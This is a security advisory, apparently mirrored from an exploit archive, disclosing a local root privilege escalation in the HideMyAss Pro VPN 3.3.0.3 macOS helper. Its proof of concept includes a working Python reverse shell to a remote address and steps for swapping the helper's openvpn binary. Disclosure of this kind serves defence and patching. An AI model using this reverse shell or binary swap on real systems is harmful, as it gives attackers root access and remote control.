------------------------------------------------------------------------
Local privilege escalation vulnerability in HideMyAss Pro VPN client
v3.x for macOS
------------------------------------------------------------------------
Han Sahin, April 2017
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A local privilege escalation vulnerability has been found in the helper
binary com.privax.hmaprovpn.helper that ships with HideMyAss Pro VPN
v3.3.0.3 for macOS. The helper is installed setuid root and uses the
openvpn binary to create VPN profiles and connections. The helper fails
to perform signature check's on the openvpn file, which is owned by the
user that installed the client. This allows malware on the system to
replace the openvpn binary and run arbitrary code as root.
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was tested on HideMyAss Pro VPN v3.3.0.3 for macOS.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://www.securify.nl/advisory/SFY20170408/local_privilege_escalation_vulnerability_in_hidemyass_pro_vpn_client_v3_x_for_macos.html
The helper binary com.privax.hmaprovpn.helper that ships with HideMyAss Pro VPN v3.3.0.3 for macOS is installed in PrivilegedHelperTools and run every time the user reboots. The privileged helper is responsible for opening VPN connections with correct security and connection profile settings.
The com.privax.hmaprovpn.helper is installed setuid root and fails to perform signature check's on the openvpn executable, which is owned by the user that installed the client. This allows malware on the system to replace the openvpn binary and run arbitrary code as root.
Proof of Concept
1) Create an Python script named openvpn and make sure it is executable (chmod u+x).
#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.28",8099));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
2) Replace the openvpn binary located in the path below with this Python script.
/Applications/HMA\!\ Pro\ VPN.app/Contents/XPCServices/HMA\!\ Pro\ VPN\ Engine.xpc/Contents/MacOS/
3) Wait until the victim opens a VPN connection.
# 0day.today [2018-02-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation